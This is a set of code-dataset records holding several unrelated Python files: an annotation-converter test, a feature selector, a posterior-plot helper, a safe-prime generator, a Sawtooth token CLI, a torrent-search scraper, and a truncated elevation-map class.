/ \"VOC\" / \"input\" / \"fromPascalVOCToSuperAnnotate\" / \"VOC2012\"\n out_dir = Path(tmpdir) / project_name\n sa.import_annotation(\n input_dir, out_dir, \"VOC\", \"\", \"Vector\", \"object_detection\"\n )\n\n description = 'voc vector object detection'\n ptype = 'Vector'\n upload_project(out_dir, project_name, description, ptype)\n\n\ndef test_voc_pixel(tmpdir):\n project_name = \"voc2sa_pixel_instance\"\n input_dir = Path(\n \"tests\"\n ) / \"converter_test\" / \"VOC\" / \"input\" / \"fromPascalVOCToSuperAnnotate\" / \"VOC2012\"\n out_dir = Path(tmpdir) / project_name\n sa.import_annotation(\n input_dir, out_dir, \"VOC\", \"\", \"Pixel\", \"instance_segmentation\"\n )\n\n description = 'voc pixel instance segmentation'\n ptype = 'Pixel'\n upload_project(out_dir, project_name, description, ptype)\n","sub_path":"tests/converter_test/test_voc.py","file_name":"test_voc.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"395801376","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.utils.random import check_random_state\nfrom sklearn.exceptions import NotFittedError\n\nfrom robusta.utils import logmsg\n\nfrom .base import _WrappedSelector, _WrappedGroupSelector, _check_k_features\n\n\n\n\nclass GreedSelector(_WrappedSelector):\n '''Greed Forward/Backward Feature Selector\n\n Parameters\n ----------\n estimator : object\n The base estimator from which the transformer is built.\n\n cv : int, cross-validation generator or iterable\n Determines the cross-validation splitting strategy.\n Possible inputs for cv are:\n\n - integer, to specify the number of folds.\n - An object to be used as a cross-validation generator.\n - An iterable yielding train/test splits.\n\n scoring : string, callable or None, optional, default: None\n A string or a scorer callable object / function with signature\n ``scorer(estimator, X, y)`` which should return only a single value.\n If None, the estimator's default scorer (if available) is used.\n\n forward : boolean (default=True)\n Whether to start from empty set or full set of features:\n\n - If is True, add feature on each step\n - If is False, drop feature on each step\n\n floating : boolean (default=False)\n Whether to produce step back on each round (if increases score!):\n\n - If is True, drop feature on each step\n - If is False, drop feature on each step\n\n k_features : int or float (default=0.5)\n Number of features to select. If float, interpreted as percentage\n of total # of features:\n\n - If is True, is maximum # of features.\n - If is False, is minimum # of features.\n\n max_iter : int or None\n Maximum number of iterations. None for no limits. Use \n or Ctrl+C for KeyboardInterrupt to stop optimization in this case.\n\n max_time : float or None\n Maximum time (in seconds). None for no limits. Use \n or Ctrl+C for KeyboardInterrupt to stop optimization in this case.\n\n use_best : bool (default=True)\n Whether to use subset with best score or last selected subset.\n\n random_state : int or None (default=0)\n Random seed for permutations in PermutationImportance.\n Ignored if set to 'inbuilt'.\n\n n_jobs : int or None, optional (default=-1)\n The number of jobs to run in parallel. None means 1.\n\n verbose : int, optional (default=1)\n Verbosity level\n\n n_digits : int (default=4)\n Verbose score(s) precision\n\n '''\n def __init__(self, estimator, cv=5, scoring=None, forward=True, floating=False,\n k_features=0.5, max_time=None, use_best=True, random_state=0,\n n_jobs=None, verbose=1, n_digits=4, cv_kwargs={}):\n\n self.estimator = estimator\n self.k_features = k_features\n self.forward = forward\n self.floating = floating\n #self.max_candidates = max_candidates # TODO\n self.max_time = max_time\n self.use_best = use_best\n\n self.cv = cv\n self.cv_kwargs = cv_kwargs\n self.scoring = scoring\n self.random_state = random_state\n self.n_jobs = n_jobs\n\n self.verbose = verbose\n self.n_digits = n_digits\n\n\n\n def fit(self, X, y, groups=None):\n\n self._fit_start(X)\n self._fit(X, y, groups)\n\n return self\n\n\n\n def partial_fit(self, X, y, groups=None):\n\n self._fit_start(X, partial=True)\n self._fit(X, y, groups)\n\n return self\n\n\n\n def _fit_start(self, X, partial=False):\n\n self._set_features(X)\n self.k_features_ = _check_k_features(self.k_features, self.n_features_, 'k_features')\n\n if not partial:\n\n self.rstate_ = check_random_state(self.random_state)\n self.subset_ = self.features_.copy()\n\n if self.forward:\n self.subset_.set_subset([])\n\n self._reset_trials()\n\n return self\n\n\n\n def _fit(self, X, y, groups):\n\n if self.forward:\n is_final = lambda subset: len(subset) >= self.k_features_\n else:\n is_final = lambda subset: len(subset) <= self.k_features_\n\n self.eval_subset(self.subset_, X, y, groups)\n self.score_ = self.subset_.score\n\n\n while not is_final(self.subset_):\n\n # STEP 1. Step Forward/Backward\n if self.verbose:\n logmsg('STEP {}'.format('FORWARD' if self.forward else 'BACKWARD'))\n\n if self.forward:\n updates = self.features_.remove(*self.subset_)\n else:\n updates = self.subset_\n\n # Find Next Best Update\n score = -np.inf\n subset = None\n\n for feature in updates:\n\n # Include/Exclude Feature\n if self.forward:\n candidate = self.subset_.append(feature)\n else:\n candidate = self.subset_.remove(feature)\n\n candidate.parents = (self.subset_, )\n\n # Evaluate Candidate\n try:\n self.eval_subset(candidate, X, y, groups)\n\n if candidate.score > score:\n score = candidate.score\n subset = candidate\n\n except KeyboardInterrupt:\n raise\n\n except:\n pass\n\n # Update Subset\n self.subset_ = subset\n self.score_ = score\n\n # Stop Criteria\n if not self.floating or is_final(self.subset_):\n continue\n\n\n # STEP 2. Step Backward/Forward\n if self.verbose:\n logmsg('STEP {}'.format('BACKWARD' if self.forward else 'FORWARD'))\n\n if not self.forward:\n updates = self.features_.remove(*self.subset_)\n else:\n updates = self.subset_\n\n # Find Next Best Update\n score = -np.inf\n subset = None\n\n for feature in updates:\n\n # Exclude/Include Feature\n if not self.forward:\n candidate = self.subset_.append(feature)\n else:\n candidate = self.subset_.remove(feature)\n\n candidate.parents = (self.subset_, )\n\n # Check if Already Exsists\n if candidate in self.trials_:\n continue\n\n # Evaluate Candidate\n try:\n self.eval_subset(candidate, X, y, groups)\n\n if candidate.score > score:\n score = candidate.score\n subset = candidate\n\n except KeyboardInterrupt:\n raise\n\n except:\n pass\n\n # Stop Criteria\n if score < self.score_:\n continue\n\n # Update Subset\n self.subset_ = subset\n self.score_ = score\n\n return self\n\n\n def get_subset(self):\n\n if (self.use_best is True) and hasattr(self, 'best_subset_'):\n return self.best_subset_\n\n elif (self.use_best is False) and len(self.subset_) > 0:\n return self.last_subset_\n\n else:\n model_name = self.__class__.__name__\n raise NotFittedError(f'{model_name} is not fitted')\n\n\n\nclass GroupGreedSelector(_WrappedGroupSelector, GreedSelector):\n pass\n","sub_path":"selector/greed.py","file_name":"greed.py","file_ext":"py","file_size_in_byte":7666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"275934315","text":"from __future__ import division\r\nimport numpy as np\r\nfrom scipy import stats\r\nimport matplotlib.pyplot as plt\r\nfrom hpd import hpd\r\n\r\n\r\ndef plot_post(param_sample_vec, cred_mass=0.95, comp_val=None,\r\n ROPE=None, ylab='', xlab='parameter', fontsize=14, labelsize=14,\r\n title='', framealpha=1, show_mode=True, bins=50, kde_plot=True, \r\n roundto=3):\r\n \"\"\"\r\n Write me!\r\n \"\"\" \r\n # colors taken from the default seaborn color pallete\r\n blue, green, red = [(0.2980392156862745, 0.4470588235294118, \r\n 0.6901960784313725), (0.3333333333333333, 0.6588235294117647, \r\n 0.40784313725490196), (0.7686274509803922, 0.3058823529411765, \r\n 0.3215686274509804)]\r\n ## Compute HDI\r\n HDI = hpd(param_sample_vec, 1-cred_mass)\r\n\r\n post_summary = {'mean':0,'median':0,'mode':0, 'hdi_mass':0,'hdi_low':0,\r\n 'hdi_high':0, 'comp_val':0, 'pc_gt_comp_val':0, 'ROPE_low':0,\r\n 'ROPE_high':0, 'pc_in_ROPE':0}\r\n\r\n post_summary['mean'] = round(np.mean(param_sample_vec), roundto)\r\n post_summary['median'] = round(np.median(param_sample_vec), roundto)\r\n post_summary['mode'] = round(stats.mode(param_sample_vec)[0], roundto)\r\n post_summary['hdi_mass'] = cred_mass\r\n post_summary['hdi_low'] = round(HDI[0], roundto)\r\n post_summary['hdi_high'] = round(HDI[1], roundto)\r\n\r\n ## Plot KDE.\r\n if kde_plot:\r\n density = stats.kde.gaussian_kde(param_sample_vec)\r\n l = np.min(param_sample_vec)\r\n u = np.max(param_sample_vec)\r\n x = np.linspace(0, 1, 100) * (u - l) + l\r\n plt.plot(x, density(x), color=blue)\r\n ## Plot histogram.\r\n else:\r\n plt.hist(param_sample_vec, normed=True, bins=bins, facecolor=blue, \r\n edgecolor='w')\r\n\r\n\r\n ## Display mean or mode:\r\n if show_mode:\r\n plt.plot(0, label='mode = %.2f' % post_summary['mode'], alpha=0)\r\n else:\r\n plt.plot(0, label='mean = %.2f' % post_summary['mean'], alpha=0)\r\n ## Display the comparison value.\r\n if comp_val is not None:\r\n pc_gt_comp_val = 100 * np.sum(param_sample_vec > comp_val)/len(param_sample_vec)\r\n pc_lt_comp_val = 100 - pc_gt_comp_val\r\n plt.axvline(comp_val, ymax=.75, color=green,\r\n linestyle='--', linewidth=4,\r\n label='%.1f%% < %.1f < %.1f%%'\r\n % (pc_lt_comp_val, comp_val, pc_gt_comp_val))\r\n post_summary['comp_val'] = comp_val\r\n post_summary['pc_gt_comp_val'] = pc_gt_comp_val\r\n ## Display the ROPE.\r\n if ROPE is not None:\r\n rope_col = 'darkred'\r\n pc_in_ROPE = round(np.sum((param_sample_vec > ROPE[0]) & (param_sample_vec < ROPE[1]))/len(param_sample_vec)*100)\r\n plt.axvline(ROPE[0], ymax=.75, color=red, linewidth=4,\r\n label='%.1f%% in ROPE' % pc_in_ROPE)\r\n plt.axvline(ROPE[1], ymax=.75, color=red, linewidth=4)\r\n post_summary['ROPE_low'] = ROPE[0] \r\n post_summary['ROPE_high'] = ROPE[1] \r\n post_summary['pc_in_ROPE'] = pc_in_ROPE\r\n\r\n ## Display the HDI.\r\n plt.plot(HDI, [0, 0], linewidth=8, color='k', label='HDI %.1f%% %.3f-%.3f' % (cred_mass*100, HDI[0], HDI[1]))\r\n\r\n plt.xlabel(xlab, fontsize=fontsize)\r\n plt.ylabel(ylab, fontsize=fontsize)\r\n plt.title(title, fontsize=fontsize)\r\n plt.legend(loc='upper left', fontsize=labelsize, framealpha=framealpha)\r\n frame = plt.gca()\r\n frame.axes.get_yaxis().set_ticks([])\r\n return post_summary\r\n\r\n","sub_path":"mcmcplotlib/plot_post.py","file_name":"plot_post.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"416268548","text":"from os import path\nimport random\nfrom app.keys_generator.xorshift import XORShift\nfrom app.utils.file_manager import read_file, write_file\nfrom app.utils.modular_arithmetic import square_and_multiply\n\n\ndef _generate_possible_prime(n_bits: int = 128) -> int:\n \"\"\"\n Generate an odd random number of n_bits bits\n :param n_bits: Number of bits of the random number\n :return:\n \"\"\"\n xorshift = XORShift()\n possible_prime = xorshift.getrandbits(n_bits)\n\n # Make sure it is at least of the size n_bits bits\n possible_prime |= (1 << (n_bits - 1))\n\n # Make sure it is odd\n possible_prime |= 1\n\n return possible_prime\n\n\ndef _check_is_prime(possible_prime: int, test_rounds: int = 40) -> bool:\n \"\"\"\n Checks if the given number is a prime with Miller-Rabin test\n :param possible_prime: The number to check\n :param test_rounds: Number of test rounds for Miller-Rabin, it is the accuracy level. Internet says it should be 40\n :return: True if prime\n \"\"\"\n\n # 2^s * d = n - 1\n d = possible_prime - 1\n s = 0\n while (d & 1) == 0: # d is even\n s += 1\n d >>= 1 # division by 2 of even number\n\n for i in range(test_rounds):\n if not _miller_rabin_test(possible_prime, d):\n return False\n\n return True\n\n\ndef _miller_rabin_test(possible_prime: int, d: int) -> bool:\n \"\"\"\n Performs a Rabin-Miller test on a possible prime\n :param d: As 2^s * d = n - 1\n :param possible_prime:\n :return: True if possible prime, else false\n \"\"\"\n a = random.randint(2, possible_prime - 2)\n adn = square_and_multiply(a, d, possible_prime)\n\n if adn == 1 or adn == possible_prime - 1:\n return True\n\n while d != possible_prime - 1:\n adn = square_and_multiply(adn, 2, possible_prime)\n d *= 2\n\n if adn == 1:\n return False\n\n if adn == possible_prime - 1:\n return True\n\n return False\n\n\ndef get_prime(n_bits: int) -> int:\n \"\"\"\n Creates a safe prime of n_bits bits\n :param n_bits: The number of bits of the generated safe prime\n :return: The generated safe prime\n \"\"\"\n prime = None\n while True:\n prime = _generate_possible_prime(n_bits)\n if _check_is_prime(prime) and _check_is_prime((prime - 1) >> 1): # Safe prime\n break\n\n return prime\n\n\ndef find_generator(prime: int) -> int:\n \"\"\"\n Finds a generator element to the given safe prime\n :param prime:\n :return:\n \"\"\"\n generator = 0\n while True:\n generator = random.randint(2, prime - 2)\n if square_and_multiply(generator, (prime - 1) >> 1, prime) != 1:\n break\n\n return generator\n\n\nclass Prime:\n \"\"\"\n Handles a prime and its generator\n \"\"\"\n\n def __init__(self, prime_path: path, n_bits: int = 512, with_generator: bool = True):\n self.__generator = 0\n\n if path.exists(prime_path):\n # Load existing prime\n prime_lines = read_file(prime_path).splitlines()\n self.__prime = int(prime_lines[0])\n if len(prime_lines) > 1:\n self.__generator = int(prime_lines[1])\n else:\n # Generate a new prime\n self.__prime = get_prime(n_bits)\n if with_generator:\n self.__generator = find_generator(self.__prime)\n write_file(prime_path, str(self.__prime) + '\\n' + str(self.__generator))\n else:\n write_file(prime_path, str(self.__prime))\n\n def get_prime(self) -> int:\n return self.__prime\n\n def get_generator(self) -> int:\n return self.__generator\n","sub_path":"app/keys_generator/prime.py","file_name":"prime.py","file_ext":"py","file_size_in_byte":3610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"586324615","text":"import argparse\nimport getpass\nimport logging\nimport os\nimport sys\nimport traceback\n\nimport pkg_resources\nfrom colorlog import ColoredFormatter\nfrom sawtooth_signing import create_context\n\nfrom cli.common.helper import DISTRIBUTION_NAME, DEFAULT_URL\nfrom cli.common.exceptions import DaException\nfrom cli.workflow.client import DaClient\n\n\ndef create_console_handler(verbose_level):\n clog = logging.StreamHandler()\n formatter = ColoredFormatter(\n \"%(log_color)s[%(asctime)s %(levelname)-8s%(module)s]%(reset)s \"\n \"%(white)s%(message)s\",\n datefmt=\"%H:%M:%S\",\n reset=True,\n log_colors={\n 'DEBUG': 'cyan',\n 'INFO': 'green',\n 'WARNING': 'yellow',\n 'ERROR': 'red',\n 'CRITICAL': 'red',\n })\n\n clog.setFormatter(formatter)\n\n if verbose_level == 0:\n clog.setLevel(logging.WARN)\n elif verbose_level == 1:\n clog.setLevel(logging.INFO)\n else:\n clog.setLevel(logging.DEBUG)\n\n return clog\n\n\ndef setup_loggers(verbose_level):\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n logger.addHandler(create_console_handler(verbose_level))\n\n\ndef add_set_manager_parser(subparsers, parent_parser):\n parser = subparsers.add_parser(\n 'set_manager',\n help='Set Manager',\n description='Create first account on the blockchain which has manager role by default',\n parents=[parent_parser])\n\n parser.add_argument(\n '--name',\n type=str,\n required=True,\n help='specify account name')\n\n parser.add_argument(\n '--key-dir',\n type=str,\n help=\"identify directory of user's private key file\")\n\n parser.add_argument(\n '--url',\n type=str,\n help='specify URL of REST API')\n\n parser.add_argument(\n '--username',\n type=str,\n help=\"identify name of user's private key file\")\n\n parser.add_argument(\n '--wait',\n nargs='?',\n const=sys.maxsize,\n type=int,\n help='set time, in seconds, to wait for game to commit')\n\n\ndef add_set_issuer_parser(subparsers, parent_parser):\n parser = subparsers.add_parser(\n 'set_issuer',\n help='Set Issuer',\n description='Create first account on the blockchain which has issuer role by default',\n parents=[parent_parser])\n\n parser.add_argument(\n '--name',\n type=str,\n required=True,\n help='specify account name')\n\n parser.add_argument(\n '--key-dir',\n type=str,\n help=\"identify directory of user's private key file\")\n\n parser.add_argument(\n '--url',\n type=str,\n help='specify URL of REST API')\n\n parser.add_argument(\n '--username',\n type=str,\n help=\"identify name of user's private key file\")\n\n parser.add_argument(\n '--wait',\n nargs='?',\n const=sys.maxsize,\n type=int,\n help='set time, in seconds, to wait for game to commit')\n\n\ndef add_set_account_parser(subparsers, parent_parser):\n parser = subparsers.add_parser(\n 'set_account',\n help='Set Account',\n description='Create new account on the blockchain',\n parents=[parent_parser])\n\n parser.add_argument(\n '--name',\n type=str,\n required=True,\n help='specify account name')\n\n parser.add_argument(\n '--key-dir',\n type=str,\n help=\"identify directory of user's private key file\")\n\n parser.add_argument(\n '--url',\n type=str,\n help='specify URL of REST API')\n\n parser.add_argument(\n '--username',\n type=str,\n help=\"identify name of user's private key file\")\n\n parser.add_argument(\n '--wait',\n nargs='?',\n const=sys.maxsize,\n type=int,\n help='set time, in seconds, to wait for game to commit')\n\n\ndef add_issue_token_parser(subparsers, parent_parser):\n parser = subparsers.add_parser(\n 'issue_token',\n help='Issue new token',\n description='Sends a transaction to issue new token',\n parents=[parent_parser])\n\n parser.add_argument(\n '--identifier',\n type=str,\n required=True,\n help='specify token name')\n\n parser.add_argument(\n '--total_supply',\n type=str,\n required=True,\n default='100',\n help='total supply')\n\n parser.add_argument(\n '--key-dir',\n type=str,\n help=\"identify directory of user's private key file\")\n\n parser.add_argument(\n '--url',\n type=str,\n help='specify URL of REST API')\n\n parser.add_argument(\n '--username',\n type=str,\n help=\"identify name of user's private key file\")\n\n parser.add_argument(\n '--wait',\n nargs='?',\n const=sys.maxsize,\n type=int,\n help='set time, in seconds, to wait for game to commit')\n\n\ndef add_transfer_parser(subparsers, parent_parser):\n parser = subparsers.add_parser(\n 'transfer',\n help='Transfer asset',\n description='Sends a transaction to transfer an asset',\n parents=[parent_parser])\n\n parser.add_argument(\n '--identifier',\n type=str,\n required=True,\n help='specify token name')\n\n parser.add_argument(\n '--total_supply',\n type=str,\n required=True,\n help='total supply')\n\n parser.add_argument(\n '--receiver_pkey',\n type=str,\n required=True,\n help='Receiver public key')\n\n parser.add_argument(\n '--key-dir',\n type=str,\n help=\"identify directory of user's private key file\")\n\n parser.add_argument(\n '--url',\n type=str,\n help='specify URL of REST API')\n\n parser.add_argument(\n '--username',\n type=str,\n help=\"identify name of user's private key file\")\n\n parser.add_argument(\n '--sender_private_key',\n type=str,\n help=\"Sender's private key. Used in scheduled job\")\n\n parser.add_argument(\n '--wait',\n nargs='?',\n const=sys.maxsize,\n type=int,\n help='set time, in seconds, to wait for game to commit')\n\n\ndef add_heartbeat_parser(subparsers, parent_parser):\n parser = subparsers.add_parser(\n 'heartbeat',\n help='Heartbeat program',\n description='Sends an asset to balance holders proportionally',\n parents=[parent_parser])\n\n parser.add_argument(\n '--identifier',\n type=str,\n required=True,\n help='specify token name')\n\n parser.add_argument(\n '--key-dir',\n type=str,\n help=\"identify directory of user's private key file\")\n\n parser.add_argument(\n '--url',\n type=str,\n help='specify URL of REST API')\n\n parser.add_argument(\n '--username',\n type=str,\n help=\"identify name of user's private key file\")\n\n parser.add_argument(\n '--issuer_public_key',\n type=str,\n help=\"Issuer's public key. Used in scheduled job\")\n\n parser.add_argument(\n '--date',\n type=str,\n help=\"Payment date. Used in scheduled job. Current date by default\")\n\n parser.add_argument(\n '--wait',\n nargs='?',\n const=sys.maxsize,\n type=int,\n help='set time, in seconds, to wait for game to commit')\n\n\ndef create_parent_parser(prog_name):\n parent_parser = argparse.ArgumentParser(prog=prog_name, add_help=False)\n parent_parser.add_argument(\n '-v', '--verbose',\n action='count',\n help='enable more verbose output')\n\n try:\n version = pkg_resources.get_distribution(DISTRIBUTION_NAME).version\n except pkg_resources.DistributionNotFound:\n version = 'UNKNOWN'\n\n parent_parser.add_argument(\n '-V', '--version',\n action='version',\n version=(DISTRIBUTION_NAME + ' (Hyperledger Sawtooth) version {}').format(version),\n help='display version information')\n\n return parent_parser\n\n\ndef create_parser(prog_name):\n parent_parser = create_parent_parser(prog_name)\n\n parser = argparse.ArgumentParser(\n description='Provides subcommands to Da.',\n parents=[parent_parser])\n\n subparsers = parser.add_subparsers(title='subcommands', dest='command')\n\n subparsers.required = True\n\n add_set_manager_parser(subparsers, parent_parser)\n add_set_issuer_parser(subparsers, parent_parser)\n add_set_account_parser(subparsers, parent_parser)\n add_issue_token_parser(subparsers, parent_parser)\n add_transfer_parser(subparsers, parent_parser)\n add_heartbeat_parser(subparsers, parent_parser)\n return parser\n\n\ndef do_set_manager(args):\n name = args.name\n\n url = _get_url(args)\n keyfile = _generate_keyfile(args)\n\n client = DaClient(base_url=url, keyfile=keyfile)\n\n if args.wait and args.wait > 0:\n response = client.set_manager(\n name, wait=args.wait)\n else:\n response = client.set_manager(name)\n\n print(\"Response: {}\".format(response))\n\n\ndef do_set_issuer(args):\n name = args.name\n\n url = _get_url(args)\n keyfile = _generate_keyfile(args)\n\n client = DaClient(base_url=url, keyfile=keyfile)\n\n if args.wait and args.wait > 0:\n response = client.set_issuer(\n name, wait=args.wait)\n else:\n response = client.set_issuer(name)\n\n print(\"Response: {}\".format(response))\n\n\ndef do_set_account(args):\n name = args.name\n\n url = _get_url(args)\n keyfile = _generate_keyfile(args)\n\n client = DaClient(base_url=url, keyfile=keyfile)\n\n if args.wait and args.wait > 0:\n response = client.set_account(\n name, wait=args.wait)\n else:\n response = client.set_account(name)\n\n print(\"Response: {}\".format(response))\n\n\ndef do_issue_token(args):\n identifier = args.identifier\n total_supply = float(args.total_supply)\n\n url = _get_url(args)\n keyfile = _get_keyfile(args)\n\n client = DaClient(base_url=url, keyfile=keyfile)\n\n if args.wait and args.wait > 0:\n response = client.issue_token(\n identifier=identifier,\n total_supply=total_supply,\n wait=args.wait)\n else:\n response = client.issue_token(\n identifier=identifier,\n total_supply=total_supply)\n\n print(\"Response: {}\".format(response))\n\n\ndef do_transfer(args):\n receiver_pkey = args.receiver_pkey\n identifier = args.identifier\n total_supply = float(args.total_supply)\n\n url = _get_url(args)\n keyfile = _get_keyfile(args)\n key = args.sender_private_key\n\n client = DaClient(base_url=url, keyfile=keyfile, key=key)\n\n if args.wait and args.wait > 0:\n response = client.transfer(\n receiver_pkey=receiver_pkey,\n total_supply=total_supply,\n identifier=identifier,\n wait=args.wait)\n else:\n response = client.transfer(\n receiver_pkey=receiver_pkey,\n identifier=identifier,\n total_supply=total_supply)\n\n print(\"Response: {}\".format(response))\n\n\ndef do_heartbeat(args):\n identifier = args.identifier\n url = _get_url(args)\n keyfile = _get_keyfile(args)\n issuer_public_key = args.issuer_public_key\n date_str = args.date\n client = DaClient(base_url=url, keyfile=keyfile)\n\n if args.wait and args.wait > 0:\n response = client.heartbeat(\n issuer_public_key=issuer_public_key,\n identifier=identifier,\n date=date_str,\n wait=args.wait)\n else:\n response = client.heartbeat(\n issuer_public_key=issuer_public_key,\n identifier=identifier,\n date=date_str)\n\n print(\"Response: {}\".format(response))\n\n\ndef _get_url(args):\n return DEFAULT_URL if args.url is None else args.url\n\n\ndef _get_keyfile(args):\n name = getpass.getuser() if args.username is None else args.username\n if args.key_dir is None:\n home = os.path.expanduser(\"~\")\n key_dir = os.path.join(home, \".sawtooth\", \"keys\")\n return '{}/{}.priv'.format(key_dir, name)\n else:\n folder = args.key_dir\n return '{}/{}.priv'.format(folder, name)\n\n\ndef _generate_keyfile(args):\n keyfilename = _get_keyfile(args)\n if not (os.path.exists(keyfilename) and os.path.isfile(keyfilename)):\n os.makedirs(os.path.dirname(keyfilename), exist_ok=True)\n keyfile = open(keyfilename, \"w\")\n keyfile.write(_make_key())\n keyfile.close()\n return keyfilename\n\n\ndef _make_key():\n context = create_context('secp256k1')\n private_key = context.new_random_private_key()\n return private_key.as_hex()\n\n\ndef main(prog_name=os.path.basename(sys.argv[0]), args=None):\n if args is None:\n args = sys.argv[1:]\n parser = create_parser(prog_name)\n args = parser.parse_args(args)\n\n if args.verbose is None:\n verbose_level = 0\n else:\n verbose_level = args.verbose\n\n setup_loggers(verbose_level=verbose_level)\n\n if args.command == 'set_manager':\n do_set_manager(args)\n elif args.command == 'set_account':\n do_set_account(args)\n elif args.command == 'set_issuer':\n do_set_issuer(args)\n elif args.command == 'issue_token':\n do_issue_token(args)\n elif args.command == 'transfer':\n do_transfer(args)\n elif args.command == 'heartbeat':\n do_heartbeat(args)\n else:\n raise DaException(\"invalid command: {}\".format(args.command))\n\n\ndef main_wrapper():\n try:\n main()\n except DaException as err:\n print(\"Error: {}\".format(err), file=sys.stderr)\n sys.exit(1)\n except KeyboardInterrupt:\n pass\n except SystemExit as err:\n raise err\n except BaseException as err:\n print(\"Error: {}\".format(err), file=sys.stderr)\n traceback.print_exc(file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"stw/cli/cli/workflow/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":13919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"433518104","text":"import threading\nimport time\n\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass Downloader(threading.Thread):\n def __init__(self, download_url, save_to, params={}):\n super().__init__()\n self.url = download_url\n self.save_to = save_to\n self.params = params\n\n def run(self):\n self.save_to.append(requests.get(self.url, params=self.params))\n\n\ndef download_urls(urls, params=None):\n interval = 0.1\n too_may = False\n if params is None:\n params = [{} for _ in range(len(urls))]\n contents = []\n threads = []\n for i in range(len(urls)):\n threads.append(Downloader(urls[i], contents, params=params[i]))\n for thread in threads:\n thread.start()\n time.sleep(interval)\n while len(urls) > sum([cont.status_code == 200 for cont in contents]) or any(\n thread.is_alive() for thread in threads):\n for cont in contents.copy():\n if cont.status_code == 529:\n too_may = True\n if cont.status_code != 200:\n del contents[contents.index(cont)]\n threads.append(Downloader(cont.url, contents))\n threads[-1].start()\n time.sleep(interval)\n interval *= 1.1\n print(\"uups\")\n\n if interval > 1 or too_may:\n break\n\n return contents\n\n\nclass Torrent:\n def __init__(self, name, site, date, size, seeds, magnet=None, file=None):\n self.name = name\n self.site = site\n self.date = date\n self.size = size\n self.seeds = seeds\n self.magnet = magnet\n self.file = file\n\n\nclass TorrentSite:\n name = None\n\n def __init__(self):\n if None is self.name:\n raise NotImplementedError\n\n def get(self, query, seed_limit=1):\n raise NotImplementedError\n\n\nclass ThePirateBay(TorrentSite):\n search_address = \"https://thepiratebay.org/search/\"\n name = \"ThePirateBay\"\n pages = 1\n\n def __init__(self, search, name):\n super().__init__()\n self.name = name\n self.search_address = search\n self.torrents = []\n\n def get(self, query, seed_limit=1):\n self.torrents = []\n url = \"%s%s/\" % (self.search_address, query)\n\n urls = []\n for i in range(self.pages):\n urls.append(\"%s/%d\" % (url, i))\n\n contents = download_urls(urls)\n\n for cont in contents:\n soup = BeautifulSoup(cont.content, \"html.parser\")\n\n if soup.find(\"table\", id=\"searchResult\") is None:\n continue\n\n lines = soup.find(\"table\", id=\"searchResult\").thead.find_next_siblings(\"tr\")\n for line in lines:\n fields = [line.td] + line.td.find_next_siblings(\"td\")\n name = fields[1].a.contents[0]\n site = self.name\n date, size, _ = fields[1].font.contents[0].split(\",\")\n date = \" \".join(date.split()[1:-1])\n size = \" \".join(size.split()[1:])\n magnet = fields[1].find(\"img\", alt=\"Magnet link\").parent[\"href\"]\n seeds = int(fields[2].string)\n if seeds >= seed_limit:\n self.torrents.append(Torrent(name, site, date, size, seeds, magnet=magnet))\n\n if soup.find(\"img\", alt=\"Next\") is None or seeds < seed_limit:\n break\n\n return self.torrents\n\n\nclass YTSAG(TorrentSite):\n name = \"YTS.ag\"\n url = \"https://yts.ag/api/v2/list_movies.json\"\n pages = 3\n\n def __init__(self):\n super().__init__()\n self.torrents = []\n\n def get(self, query, seed_limit=1):\n self.torrents = []\n urls = []\n params = []\n\n for page in range(1, self.pages + 1):\n urls.append(self.url)\n params.append({\n \"page\": page,\n \"limit\": 50,\n \"query_term\": query,\n \"sort_by\": \"seeds\"\n })\n\n contents = download_urls(urls, params=params)\n\n for cont in contents:\n data = cont.json()[\"data\"]\n print(data)\n\n if \"movies\" not in data:\n continue\n\n torrents = []\n for movie in data[\"movies\"]:\n name = movie[\"title\"]\n site = self.name\n for quality in movie[\"torrents\"]:\n date = quality[\"date_uploaded\"].split()[0]\n file = quality[\"url\"]\n hash = quality[\"hash\"]\n q_name = \"%s - %s\" % (name, quality[\"quality\"])\n seeds = int(quality[\"seeds\"])\n size = quality[\"size\"]\n magnet = \"magnet:?xt=urn:btih:%s&dn=%s&tr=%s&tr=%s&tr=%s&tr=%s&tr=%s&tr=%s&tr=%s&tr=%s\" % (\n hash, file, \"udp://open.demonii.com:1337/announce\", \"udp://tracker.openbittorrent.com:80\",\n \"udp://tracker.coppersurfer.tk:6969\", \"udp://glotorrents.pw:6969/announce\",\n \"udp://tracker.opentrackr.org:1337/announce\", \"udp://torrent.gresille.org:80/announce\",\n \"dp://p4p.arenabg.com:1337\", \"udp://tracker.leechers-paradise.org:6969\")\n if seeds >= seed_limit:\n print(\"found: %s with %s quality\" % (name, quality[\"quality\"]))\n torrents.append(Torrent(q_name, site, date, size, seeds, magnet=magnet, file=file))\n\n self.torrents += torrents\n\n return self.torrents\n\n\nsites = [YTSAG()]#, ThePirateBay(\"https://proxyspotting.in/search/\", \"ProxySpotting.in\")]\n\n","sub_path":"server/blueprints/torrent_downloader/torrent_sites.py","file_name":"torrent_sites.py","file_ext":"py","file_size_in_byte":5603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"242530507","text":"import math\nfrom PIL import Image\nimport numpy as np\nimport random as r\n\n\nclass Map:\n def __init__(self, file):\n self.file = file\n self.elevations = []\n self.min_elevation = []\n self.max_elevation = []\n self.text_contents = []\n self.colors_big_list = []\n self.little_rows_of_colors = []\n self.paths = []\n self.img = ''\n\n def read_file(self):\n with open(self.file) as text_file:\n self.text_contents = text_file.read()\n\n def find_elevations(self):\n self.elevations = [[int(each) for each in line.split()]\n for line in self.text_contents.split(\"\\n\")]\n\n def find_min_and_max(self):\n self.min_elevation = self.elevations[0][0]\n 